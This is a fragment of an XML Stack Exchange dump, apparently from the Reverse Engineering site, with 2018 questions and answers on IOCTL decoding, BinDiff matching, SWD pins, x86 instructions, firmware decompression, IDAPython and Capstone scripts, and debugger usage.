end.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2020-05-20T07:07:40.393" LastActivityDate="2020-05-20T07:07:40.393" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18388" PostTypeId="2" ParentId="18381" CreationDate="2018-05-28T07:54:42.200" Score="3" Body="&lt;p&gt;Why would you want to reverse engineer &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;a well-documented function&lt;/a&gt;? The underlying mechanism, IOCTLs, are explained as part of &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes&quot; rel=&quot;nofollow noreferrer&quot;&gt;the documentation&lt;/a&gt; for device drivers. Even the native function underlying the Win32 function &lt;code&gt;DeviceIoControl&lt;/code&gt; &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntdeviceiocontrolfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;is documented&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out what a particular IOCTL code means (the &lt;code&gt;224CDCh&lt;/code&gt; in your case), use one of the following methods:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.osronline.com/article.cfm?article=229&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSR IOCTL decoder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-ioctldecode&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;!ioctldecode&lt;/code&gt; in WinDbg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ioctls.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IOCTL reference list&lt;/a&gt; (your particular code isn't here, so apparently it's not a standard one)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first one yields this:&lt;a href=&quot;https://i.stack.imgur.com/wJ9LD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJ9LD.png&quot; alt=&quot;OSR IOCTL decoder in action for code 0x224CDC&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, frankly, you provide waaaay too litte information to provide more help. But it stands to reason that in order to find out what valid inputs the underlying device driver expects, you should find out the driver to which the device object (the one you opened with &lt;code&gt;CreateFileA&lt;/code&gt;) belongs and then reverse engineer that. To find out, you can use a tool such as &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/winobj&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinObj&lt;/a&gt; or similar. Because that driver is the place where the IRP (I/O Request Packet), which will be built internally by &lt;code&gt;ZwDeviceIoControlFile&lt;/code&gt;, ends up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I just wanted to add the suggestion to have a look at the very latest WDK headers at all times. The tools mentioned above may not always be up-to-date. But in this particular case, from experience, I'd say it's a custom IOCTL.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2018-07-06T08:40:18.173" LastActivityDate="2018-07-06T08:40:18.173" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18389" PostTypeId="2" ParentId="14129" CreationDate="2018-05-28T08:14:47.020" Score="3" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;I've started using bindiff recently and struggle to understand matching algorithm.&lt;/p&gt;&#xA;&lt;p&gt;(...)&lt;/p&gt;&#xA;&lt;p&gt;So how the signatures differs from attributes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I think you are confusing at least 3 things:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is not a single matching algorithm but a set of matching algorithms. Or heuristics, if you prefer.&lt;/li&gt;&#xA;&lt;li&gt;There is not a single function's signature, there are multiple different ones.&lt;/li&gt;&#xA;&lt;li&gt;A function signature is (most likely) considered a set of function's attributes as well as values calculated using various of its attributes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Usually, a function attribute is a thing like the number of edges, nodes, the in-degree, out-degree, number of loops, etc... of a given function. A function signature can be a set of such attributes like, for example, a tuple of attributes such as [nodes, edges, in-degree, out-degree]. It can also be a calculation of various attributes like the MD-Index (that is calculated based on the topology of the graph and the degrees of each basic block) or the &amp;quot;functions byte hash&amp;quot; you mention, which is another type of function's signature.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What strategy is first applied to construct initial match: signature matching or functions byte hash matching?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;First of all, remember that a &amp;quot;functions byte hash&amp;quot; is actually a function signature. Then, answering your question without knowing exactly how BinDiff works, I believe that they will use first the heuristics that cause the lesser number of false positives. A signature like &amp;quot;functions byte hash&amp;quot; for non trivial functions is likely going to generate near zero false positives so, instead of trying to initially match some attributes or use any false-positive prone signature, they most likely try that mentioned signature first.&lt;/p&gt;&#xA;&lt;p&gt;DISCLAIMER: I'm not any of the authors of BinDiff neither I have reverse engineered it to know how it actually works. However, I'm the author of an open source alternative called &lt;a href=&quot;https://github.com/joxeankoret/diaphora&quot; rel=&quot;nofollow noreferrer&quot;&gt;Diaphora&lt;/a&gt;, and I know a bit how such a tool works.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-05-28T08:25:09.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18391" PostTypeId="2" ParentId="17501" CreationDate="2018-05-28T08:49:43.303" Score="1" Body="&lt;p&gt;Not aware of any similar software tools for SWD, but:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you can see or infer the chip part number, look at the data sheet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for test points (or connectors) that may be used in factory programming. They will likely be connected directly to the chip, but SWDIO pins may or may not also double as some other function. Unlike JTAG, SWD will not be daisy-chained to several chips. Start out by looking for TPs connected &lt;em&gt;only&lt;/em&gt; to that chip. There will be at least two TPs (SWDIO and SWCLK). They may or may not be located near TPs for GND, reset, SWO and VDDIO (used for detecting programming voltage).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the chip is not the main CPU, and it's possible to update the chip firmware, SWDIO pins may also be present in a board-to-board connector or on pins connected to the CPU (though it's also possible that the chip has a bootloader to be updated by other means than SWD). If this is the case, update the firmware while looking at various pins with a logic analyzer to find candidates for SWD.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24499" LastEditorUserId="24499" LastEditDate="2018-05-29T06:14:49.497" LastActivityDate="2018-05-29T06:14:49.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18394" PostTypeId="1" CreationDate="2018-05-28T16:50:34.857" Score="1" ViewCount="2839" Body="&lt;p&gt;I'm trying to reverse engineer an app. I can't understand some instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EBP-4h=&amp;gt;Self&#xA;EBP-8h=&amp;gt;OptionData&#xA;...&#xA;mov     eax, [ebp+var_4]&#xA;movzx   eax, byte ptr [eax+1Ch]      // (1)&#xA;mov     edx, [ebp+var_8]&#xA;mov     [edx+8], eax&#xA;mov     eax, [ebp+var_4]&#xA;movzx   eax, byte ptr [eax+1Dh]     // (2)&#xA;mov     edx, [ebp+var_8]&#xA;mov     [edx+0Ch], eax&#xA;mov     eax, [ebp+var_8]&#xA;mov     dword ptr [eax+10h], 1F41h  // (3)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on reversing other parts of the app, I believe edx+8, edx+0C, edx+10 are all integers; eax+1C is 'scP8B' and eax+1D is 'ocDynamicMR2'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand instructions (1) and (2).&lt;/p&gt;&#xA;" OwnerUserId="24551" LastActivityDate="2018-05-28T18:32:43.657" Title="Confuse with MOVZX" Tags="|assembly|delphi|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18395" PostTypeId="2" ParentId="18380" CreationDate="2018-05-28T17:49:45.453" Score="5" Body="&lt;p&gt;NRV is a compressor-decompressor, highly optimized for size and speed, by Markus F.X.J. Oberhumer (www.oberhumer.com). Fortunately, it is available in an Open Source version, downloadable at his site &lt;a href=&quot;http://www.oberhumer.com/opensource/ucl/#download&quot; rel=&quot;noreferrer&quot;&gt;http://www.oberhumer.com/opensource/ucl/#download&lt;/a&gt;. It comes in several flavors, the one I have been using is called UCL1.03.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this software and your xml description file, I was able to decompress your binary. I did it in the following way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Build an executable from the provided sources (in my download, there was no binary). There is a bat file for various platforms, the one for Windows is called vc.bat. However, it did not work for me, presumably because my environment vars are not set in the proper way for the bat to run. Therefore I made a VStudio solution (VS2013, VS2015 gave some errors), which produced an exe being able to read and decompress the file.&#xA;This VS project contains the following files (all from the download):&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All .c files from the &quot;src&quot; direcory&lt;/li&gt;&#xA;&lt;li&gt;The file uclpack.c, residing in the &quot;examples&quot; directory, and containing the &quot;main&quot;.&lt;/li&gt;&#xA;&lt;li&gt;The necessary header files, they are all in the &quot;include&quot; or in the &quot;examples&quot; directories.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the Project Settings make sure that the include directory is set correctly (as usual in VS).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Add the correct header to your binary file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The header consists of the following parts:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rIhuv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rIhuv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Magic&quot; Prefix: see picture&lt;/li&gt;&#xA;&lt;li&gt;Flags: Mostly unclear, LSByte controls the generation of a CRC-32 (different from the one in your xml file).&lt;/li&gt;&#xA;&lt;li&gt;Decompression Method: 2B, 2D, 2E are available, only 2B works with your file.&lt;/li&gt;&#xA;&lt;li&gt;Level: Unclear, but must not be zero.&lt;/li&gt;&#xA;&lt;li&gt;Block Size: Memory for the decompressor. Must have at least the size of the uncompressed block.&lt;/li&gt;&#xA;&lt;li&gt;Uncompressed Size: As read from your xml file&lt;/li&gt;&#xA;&lt;li&gt;Compressed Size:As read from your xml file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All numbers in the header are Big-Endian (i.e. MSB first).&#xA;Please note that the software expects a header after each compression block, thus it is best to split your file into three separate files. Only the first one is of some interest, the other two contain only a constant.&#xA;The contents of the header could easily be found by stepping through the program. The decompressor returns with 0 in the error-free case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your comparison, here is a string present in the decompressed file, at file offset 0x6a56:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Incomming message not handled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2018-05-28T17:55:55.693" LastActivityDate="2018-05-28T17:55:55.693" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18396" PostTypeId="2" ParentId="18394" CreationDate="2018-05-28T18:32:43.657" Score="3" Body="&lt;p&gt;&lt;code&gt;eax + 0x1c&lt;/code&gt; is a pointer to bytes, and the value of the byte at that address is put into the register &lt;code&gt;eax&lt;/code&gt; where the byte value is “zero-extended” (hence the mov&lt;em&gt;zx&lt;/em&gt;), so that e.g. a byte &lt;code&gt;0xdf&lt;/code&gt; would become a dword &lt;code&gt;0x000000df&lt;/code&gt;, so not sign-extended. So in C: &lt;code&gt;eax = (unsigned int) b[0x1c]&lt;/code&gt;, where &lt;code&gt;unsigned char *b&lt;/code&gt; is the pointer stored in &lt;code&gt;var_4&lt;/code&gt;, say. &lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2018-05-28T18:32:43.657" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18398" PostTypeId="2" ParentId="18374" CreationDate="2018-05-28T19:53:23.617" Score="0" Body="&lt;p&gt;I found that if I chose a load address manually, IDA would offset these references by whatever address I chose. If I didn't choose a load address manually, then IDA wouldn't change those references, so then all I needed to do was rebase the program &lt;em&gt;without&lt;/em&gt; performing fixups. &lt;/p&gt;&#xA;" OwnerUserId="24467" LastActivityDate="2018-05-28T19:53:23.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18399" PostTypeId="2" ParentId="15283" CreationDate="2018-05-28T23:40:35.883" Score="2" Body="&lt;p&gt;you can use a python script to find all the IOCTL codes in your binary, here is a script created for the very same purpose :&#xA;    # Find the IoControlCodes corresponding to&#xA;    # calls to DeviceIOControl within a binary&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idaapi import *&#xA;from idautils import *&#xA;from idc import *&#xA;&#xA;##########################################################&#xA;# This class implements a fifo queue&#xA;class fqueue(list):&#xA;    def __init__(self, n):&#xA;        self.n = n&#xA;&#xA;    def push(self, a):&#xA;        self.append(a)&#xA;        if len(self) &amp;gt; self.n:&#xA;            self.pop(0)&#xA;&#xA;##########################################################&#xA;&#xA;gpRegList = ['eax', 'ebx', 'ecx', 'edx']&#xA;ioccList = []&#xA;callerList = []&#xA;pushQueue = fqueue(2)&#xA;&#xA;dioc_ea = LocByName(&quot;DeviceIoControl&quot;) # EA&#xA;&#xA;print &quot;DeviceIoControl found at 0x%08x&quot; % dioc_ea&#xA;&#xA;for caller in XrefsTo(dioc_ea, True):&#xA;    # This is the address (within a function)&#xA;    # where the reference was made&#xA;    caller_ea = caller.frm&#xA;&#xA;    if caller_ea not in callerList:&#xA;        # IDA Pro shifts duplicates, get rid of them&#xA;        callerList.append(caller_ea)&#xA;        print &quot;xref @ 0x%08x (%s)&quot; % (caller_ea, GetFunctionName(caller_ea))&#xA;    else:&#xA;        continue&#xA;&#xA;    # The dwIoControlCode must be the second &#xA;    # PUSH xxx before the CALL instruction&#xA;    # So we need to keep track of the PUSH instructions&#xA;    for ins in FuncItems(caller_ea):&#xA;        disasm = GetDisasm(ins)&#xA;        if &quot;push&quot; in disasm:&#xA;            # Save the PUSH instruction's operand&#xA;            pushQueue.push(GetOpnd(ins, 0))&#xA;        elif ins == caller_ea:&#xA;            # At this moment we hit the corresponding CALL instruction&#xA;            # First item in Queue is second &quot;oldest&quot; push&#xA;            iocc = pushQueue[0]&#xA;&#xA;            if iocc in gpRegList:&#xA;                print &quot;NOTE: IoControlCode was %s at 0x%08x. Check manually&quot; % (iocc, caller_ea)&#xA;            else:&#xA;                if pushQueue[0] not in ioccList:&#xA;                    ioccList.append(pushQueue[0])&#xA;        else:&#xA;            pass&#xA;&#xA;# Print all the gathered IoControlCodes&#xA;&#xA;print &quot;%d IoControlCodes found!&quot; % len(ioccList)&#xA;&#xA;for io in ioccList:&#xA;    print &quot;[*]&quot;, io&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;run the script using IDA when disassembling the binary and it will do the magic for you, &#xA;hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="24230" LastEditorUserId="24230" LastEditDate="2019-02-18T09:18:35.470" LastActivityDate="2019-02-18T09:18:35.470" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18401" PostTypeId="2" ParentId="18347" CreationDate="2018-05-29T09:14:04.050" Score="2" Body="&lt;p&gt;IDA's UI deletes segment items because usually the code needs to be recreated if the segment base changes.&#xA;If you cheat and don't change the segment base immediately, items won't be destroyed. I.e. try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;create new segment specifying the same base as the existing segment. IDA usually fills in the current segment base if you use selection before invoking the  &quot;Create Segment&quot; menu item.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;change the segment base behind IDA's back using IDC or IDAPython:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set_segm_attr(here, SEGATTR_SEL, newbase)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Some xrefs, especially those based on current segment/CS may need to be recreated.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="24499" LastEditDate="2018-05-30T12:36:46.767" LastActivityDate="2018-05-30T12:36:46.767" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18402" PostTypeId="1" CreationDate="2018-05-29T12:26:16.013" Score="4" ViewCount="2521" Body="&lt;p&gt;I am assuming that Hopper Debugger Server is meant to allow you to remotely debug an potentially malicious app. For example, I would like to debug an app that is running on a VM or on a separate computer on the same network, using Hopper on my laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I cannot figure out how to do this. There's no documentation for Hopper Debugger Server, nor am I finding mention of it in the Hopper documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on how to make this work?&lt;/p&gt;&#xA;" OwnerUserId="24554" LastActivityDate="2023-10-26T09:47:45.983" Title="How to use Hopper Debugger Server" Tags="|hopper|macos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18403" PostTypeId="2" ParentId="18371" CreationDate="2018-05-29T22:24:55.657" Score="1" Body="&lt;p&gt;Elian posted a nice answer that explains the theory &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an implementation using capstone and python &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import capstone&#xA;&#xA;print ( &quot;dissecting a stram of hex pairs to its components in x86&quot;)&#xA;&#xA;if(len(sys.argv) &amp;lt; 2):&#xA;    sys.exit(&quot;usage python %s quoted_hex_pairs like %s&quot; % ( sys.argv[0] ,&#xA;    &quot;\&quot;F0 0D 15 F0 0D BA D0 12 50 0D\&quot;&quot;))&#xA;&#xA;CODE = []&#xA;a = sys.argv[1].split(' ')&#xA;for i in range(0,len(a),1):&#xA;    CODE.append( chr(int(a[i],16)))&#xA;CODESTR = ''.join(CODE)&#xA;&#xA;md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)&#xA;md.detail = True&#xA;&#xA;for i in md.disasm(CODESTR, 0x1000):&#xA;    print &quot;TLDR:&quot;&#xA;    for j in range( 0,len(i.opcode),1):&#xA;        if(i.opcode[j] !=0):&#xA;            print &quot;%02x&quot; % i.opcode[j],&#xA;    print &quot;\n&quot;            &#xA;    print ( &quot;FULL DETAILS&quot;              )&#xA;    print ( &quot;i.address&quot;,    i.address   );    print ( &quot;i.mnemonic&quot;,   i.mnemonic    ) &#xA;    print ( &quot;i.op_str&quot; ,    i.op_str    );    print (   &quot;i.id&quot; ,        i.id        ) &#xA;    print ( &quot;i.size&quot; ,      i.size      );    print (   &quot;i.bytes&quot; ,     i.bytes     ) &#xA;    print ( &quot;i.prefix&quot; ,    i.prefix    );    print (   &quot;i.opcode&quot; ,    i.opcode    )&#xA;    print ( &quot;i.rex&quot; ,       i.rex       );    print (   &quot;i.addr_size&quot; , i.addr_size ) &#xA;    print ( &quot;i.modrm&quot; ,     i.modrm     );    print (   &quot;i.sib&quot; ,       i.sib       ) &#xA;    print ( &quot;i.disp&quot; ,      i.disp      );    print (   &quot;i.sib_index&quot; , i.sib_index ) &#xA;    print ( &quot;i.sib_scale&quot; , i.sib_scale );    print (   &quot;i.sib_base&quot; ,  i.sib_base  )&#xA;    print ( &quot;i.sse_cc&quot; ,    i.sse_cc    );    print (   &quot;i.avx_cc&quot; ,    i.avx_cc    ) &#xA;    print ( &quot;i.avx_sae&quot; ,   i.avx_sae   );    print (   &quot;i.avx_rm&quot; ,    i.avx_rm    ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python capstest.py &quot;44 0f 45 c8&quot;&#xA;dissecting a stram of hex pairs to its components in x86&#xA;TLDR:&#xA;0f 45&#xA;&#xA;FULL DETAILS&#xA;('i.address', 4096L)&#xA;('i.mnemonic', u'cmovne')&#xA;('i.op_str', u'r9d, eax')&#xA;('i.id', 83L)&#xA;('i.size', 4)&#xA;('i.bytes', bytearray(b'D\x0fE\xc8'))&#xA;('i.prefix', [0, 0, 0, 0])&#xA;('i.opcode', [15, 69, 0, 0])&#xA;('i.rex', 68)&#xA;('i.addr_size', 8)&#xA;('i.modrm', 200)&#xA;('i.sib', 0)&#xA;('i.disp', 0)&#xA;('i.sib_index', 0L)&#xA;('i.sib_scale', 0)&#xA;('i.sib_base', 0L)&#xA;('i.sse_cc', 0L)&#xA;('i.avx_cc', 0L)&#xA;('i.avx_sae', False)&#xA;('i.avx_rm', 0L)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-05-29T22:24:55.657" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18405" PostTypeId="2" ParentId="18402" CreationDate="2018-05-30T02:10:44.773" Score="1" Body="&lt;p&gt;Maybe &lt;a href=&quot;https://www.jsloop.net/2017/11/dynamic-binary-analysis-using-hopper.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; would be a good reference (Just install and run Hopper Debugger Server app then back to hopper Debug &amp;gt; Select Debugger)&lt;/p&gt;&#xA;" OwnerUserId="3737" LastEditorUserId="2446" LastEditDate="2023-10-26T09:47:45.983" LastActivityDate="2023-10-26T09:47:45.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18406" PostTypeId="2" ParentId="18382" CreationDate="2018-05-30T02:35:31.837" Score="0" Body="&lt;p&gt;My answer is similar to @JanaTii! This file is the description to the flag path, the entrypoint is the server &lt;strong&gt;&lt;em&gt;(which you can connect with netcat/telnet ...)&lt;/em&gt;&lt;/strong&gt;. You have to use hints from that file to find out how to access to flag &lt;em&gt;(maybe readme.txt)&lt;/em&gt;. In some cases, it just check all the characters you input as keys to open the box &lt;em&gt;(In the past, my challenge is all binary data with &quot;Open the box&quot; at last - I piped all the data to the netcat server and the flag was printed)&lt;/em&gt;. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="3737" LastActivityDate="2018-05-30T02:35:31.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18407" PostTypeId="1" AcceptedAnswerId="18408" CreationDate="2018-05-30T04:08:56.297" Score="6" ViewCount="1093" Body="&lt;p&gt;Is there a way to view the keybinidngs inside of Radare? Such that I can see which function keys do things like Step Over and Step Into in Debug mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;e~key&lt;/code&gt; doesn't list any of the debug keys,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key.S = &#xA;key.f1 = &#xA;key.f10 = &#xA;key.f11 = &#xA;key.f12 = &#xA;key.f2 = &#xA;key.f3 = &#xA;key.f4 = &#xA;key.f5 = &#xA;key.f6 = &#xA;key.f7 = &#xA;key.f8 = &#xA;key.f9 = &#xA;key.s = &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-12-11T23:28:36.730" LastActivityDate="2018-12-12T14:05:34.887" Title="Viewing Radare keybindings for Visual Pane mode (Function hotkeys)?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18408" PostTypeId="2" ParentId="18407" CreationDate="2018-05-30T04:36:50.827" Score="8" Body="&lt;p&gt;Those are probably used if you remap the default ones. &#xA;And those are visible when you press &lt;code&gt;?&lt;/code&gt; in &lt;code&gt;V&lt;/code&gt;isual mode, but not in Visual Pane mode (&lt;code&gt;V!&lt;/code&gt;). Scrolling down will show the keys for debugging:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Function Keys: (See 'e key.'), defaults to:&#xA;  F2      toggle breakpoint&#xA;  F4      run to cursor&#xA;  F7      single step&#xA;  F8      step over&#xA;  F9      continue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="22669" LastEditDate="2018-12-12T14:05:34.887" LastActivityDate="2018-12-12T14:05:34.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18409" PostTypeId="1" AcceptedAnswerId="18426" CreationDate="2018-05-31T01:22:06.067" Score="1" ViewCount="3970" Body="&lt;p&gt;More specifically, could you get low level code from a rom, and piece it together and translate it to a higher level language?&lt;/p&gt;&#xA;" OwnerUserId="20962" LastEditorUserId="60" LastEditDate="2018-06-02T09:59:51.627" LastActivityDate="2018-07-02T10:36:40.923" Title="Would it be possible to reverse engineer a game's rom file to get source code?" Tags="|disassembly|decompilation|rom|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18410" PostTypeId="1" CreationDate="2018-05-31T04:05:11.673" Score="1" ViewCount="343" Body="&lt;p&gt;When I'm using Windbg (in kernel mode) to step into assembly, I would encounter context switching once in a while - which is annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, I placed a breakpoint for a process - let's call it &lt;code&gt;A.exe&lt;/code&gt; using &lt;code&gt;bp /1 /p &amp;lt;EPROCESS OF A&amp;gt; nt!NtDeviceIoControlFile&lt;/code&gt;. &lt;code&gt;A&lt;/code&gt; runs, hits the breakpoint and as I am stepping into the assembly, sometimes, the context switches - so the current process, instead of &lt;code&gt;A&lt;/code&gt;, becomes &lt;code&gt;B&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to prevent this from happening?&lt;/p&gt;&#xA;" OwnerUserId="24485" LastActivityDate="2018-05-31T04:05:11.673" Title="Prevent windbg from context switching when stepping into assembly instructions" Tags="|windows|debugging|windbg|breakpoint|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18411" PostTypeId="1" CreationDate="2018-05-31T06:10:09.463" Score="1" ViewCount="1049" Body="&lt;p&gt;I am trying to reverse engineer an old native application written in Borland Delphi in order to modify it for my needs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7JJsg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7JJsg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application interfaces with the special hardware and displays events that it receives in the &lt;code&gt;TDBCtrlGrid&lt;/code&gt; control, that acts as a long list. Using the Spy++ tool I was able to see that it has a child window &lt;code&gt;TDBCtrlPanel&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IqWfW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IqWfW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So both are placed in the actual application as such:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5WbSz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5WbSz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add some custom functionality to this application and namely, to be able to track when a certain hardware-related event occurs. I am not the author of this application and the company who created it is long gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my only solution seems to be trying to patch the executable with my own code trampoline. My goal is to trap instances when a new line is added to that &lt;code&gt;TDBCtrlGrid&lt;/code&gt; control and ideally get the text from it. (Example: &lt;code&gt;5/30/2018  9:30:00 PM  Beam Alarm Zone   Alarm Zone Armed&lt;/code&gt; that is the last line from the screenshot above.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never done much in Delphi/Pascal. So I don't know its structure. To start, I need to find out how do those Delphi controls receive text for a new row to try to trap the part of the original code that does it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. If it was Windows common controls, I know that they receive most notifications via &lt;code&gt;SendMessage&lt;/code&gt; API. I tried that approach with Spy++, but the only messages those two Delphi controls receive were &lt;code&gt;WM_PAINT&lt;/code&gt; and &lt;code&gt;WM_STYLECHANGED&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2018-05-31T09:51:05.040" Title="How do TDBCtrlGrid or TDBCtrlPanel Borland Delphi controls add new text rows?" Tags="|windows|patching|delphi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
